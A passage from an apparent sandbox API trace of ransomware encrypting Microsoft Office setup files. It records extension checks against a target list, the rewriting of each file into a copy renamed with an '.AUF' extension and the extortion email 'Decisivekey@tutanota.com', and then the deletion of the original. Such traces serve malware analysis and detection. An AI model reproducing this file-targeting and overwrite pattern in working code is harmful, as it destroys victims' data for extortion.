Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".jpg") returned 4 [0209.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.770] lstrlenW (lpString=".doc") returned 4 [0209.771] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString=".docx") returned 5 [0209.771] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.771] lstrlenW (lpString=".pdf") returned 4 [0209.771] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString=".xls") returned 4 [0209.771] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString=".xlsx") returned 5 [0209.771] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.771] lstrlenW (lpString=".ppt") returned 4 [0209.771] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.771] lstrlenW (lpString=".zip") returned 4 [0209.771] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.771] lstrlenW (lpString=".rar") returned 4 [0209.771] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString=".bz2") returned 4 [0209.771] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString=".7z") returned 3 [0209.771] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.771] lstrlenW (lpString=".dbf") returned 4 [0209.771] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.771] lstrlenW (lpString=".1cd") returned 4 [0209.771] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0209.771] lstrlenW (lpString=".jpg") returned 4 [0209.771] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.771] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.771] lstrlenW (lpString="SETUP.XML") returned 9 [0209.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.772] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2624) returned 1 [0209.772] CloseHandle (hObject=0x1f8) returned 1 [0209.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0209.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.772] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.772] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.773] GetLastError () returned 0x0 [0209.773] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa40, lpOverlapped=0x0) returned 1 [0209.853] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0209.854] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.854] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.854] SetEndOfFile (hFile=0x1fc) returned 1 [0209.854] CloseHandle (hObject=0x1fc) returned 1 [0209.855] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.855] SetEndOfFile (hFile=0x1f8) returned 1 [0209.855] CloseHandle (hObject=0x1f8) returned 1 [0209.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.856] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.856] lstrlenW (lpString=".doc") returned 4 [0209.856] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString=".docx") returned 5 [0209.856] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.856] lstrlenW (lpString=".pdf") returned 4 [0209.856] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString=".xls") returned 4 [0209.856] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString=".xlsx") returned 5 [0209.856] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.856] lstrlenW (lpString=".ppt") returned 4 [0209.856] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.856] lstrlenW (lpString=".zip") returned 4 [0209.856] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.856] lstrlenW (lpString=".rar") returned 4 [0209.856] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString=".bz2") returned 4 [0209.856] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString=".7z") returned 3 [0209.856] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.856] lstrlenW (lpString=".dbf") returned 4 [0209.856] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.856] lstrlenW (lpString=".1cd") returned 4 [0209.856] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".jpg") returned 4 [0209.857] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".doc") returned 4 [0209.857] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString=".docx") returned 5 [0209.857] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.857] lstrlenW (lpString=".pdf") returned 4 [0209.857] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString=".xls") returned 4 [0209.857] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString=".xlsx") returned 5 [0209.857] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.857] lstrlenW (lpString=".ppt") returned 4 [0209.857] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".zip") returned 4 [0209.857] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.857] lstrlenW (lpString=".rar") returned 4 [0209.857] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString=".bz2") returned 4 [0209.857] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString=".7z") returned 3 [0209.857] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".dbf") returned 4 [0209.857] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".1cd") returned 4 [0209.857] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0209.857] lstrlenW (lpString=".jpg") returned 4 [0209.857] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.857] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.857] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0209.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.858] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=913) returned 1 [0209.858] CloseHandle (hObject=0x1f8) returned 1 [0209.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0209.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.862] GetLastError () returned 0x0 [0209.862] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x391, lpOverlapped=0x0) returned 1 [0209.863] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0209.864] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.864] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0209.864] SetEndOfFile (hFile=0x1fc) returned 1 [0209.864] CloseHandle (hObject=0x1fc) returned 1 [0209.865] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.865] SetEndOfFile (hFile=0x1f8) returned 1 [0209.866] CloseHandle (hObject=0x1f8) returned 1 [0209.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.866] lstrlenW (lpString=".doc") returned 4 [0209.866] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".docx") returned 5 [0209.866] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.866] lstrlenW (lpString=".pdf") returned 4 [0209.866] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".xls") returned 4 [0209.866] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".xlsx") returned 5 [0209.866] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.866] lstrlenW (lpString=".ppt") returned 4 [0209.866] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.866] lstrlenW (lpString=".zip") returned 4 [0209.866] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.866] lstrlenW (lpString=".rar") returned 4 [0209.866] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".bz2") returned 4 [0209.866] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".7z") returned 3 [0209.866] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".dbf") returned 4 [0209.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".1cd") returned 4 [0209.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".jpg") returned 4 [0209.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".doc") returned 4 [0209.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".docx") returned 5 [0209.867] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.867] lstrlenW (lpString=".pdf") returned 4 [0209.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".xls") returned 4 [0209.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".xlsx") returned 5 [0209.867] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.867] lstrlenW (lpString=".ppt") returned 4 [0209.867] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".zip") returned 4 [0209.867] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.867] lstrlenW (lpString=".rar") returned 4 [0209.867] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".bz2") returned 4 [0209.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".7z") returned 3 [0209.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".dbf") returned 4 [0209.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.867] lstrlenW (lpString=".1cd") returned 4 [0209.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0209.868] lstrlenW (lpString=".jpg") returned 4 [0209.868] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.868] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.868] lstrlenW (lpString="SETUP.XML") returned 9 [0209.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.868] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1452) returned 1 [0209.869] CloseHandle (hObject=0x1f8) returned 1 [0209.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0209.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.869] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.869] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.869] GetLastError () returned 0x0 [0209.869] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0209.877] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0209.878] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.878] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.878] SetEndOfFile (hFile=0x1fc) returned 1 [0209.878] CloseHandle (hObject=0x1fc) returned 1 [0209.879] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.879] SetEndOfFile (hFile=0x1f8) returned 1 [0209.879] CloseHandle (hObject=0x1f8) returned 1 [0209.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString=".doc") returned 4 [0209.880] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString=".docx") returned 5 [0209.880] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.880] lstrlenW (lpString=".pdf") returned 4 [0209.880] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString=".xls") returned 4 [0209.880] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString=".xlsx") returned 5 [0209.880] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 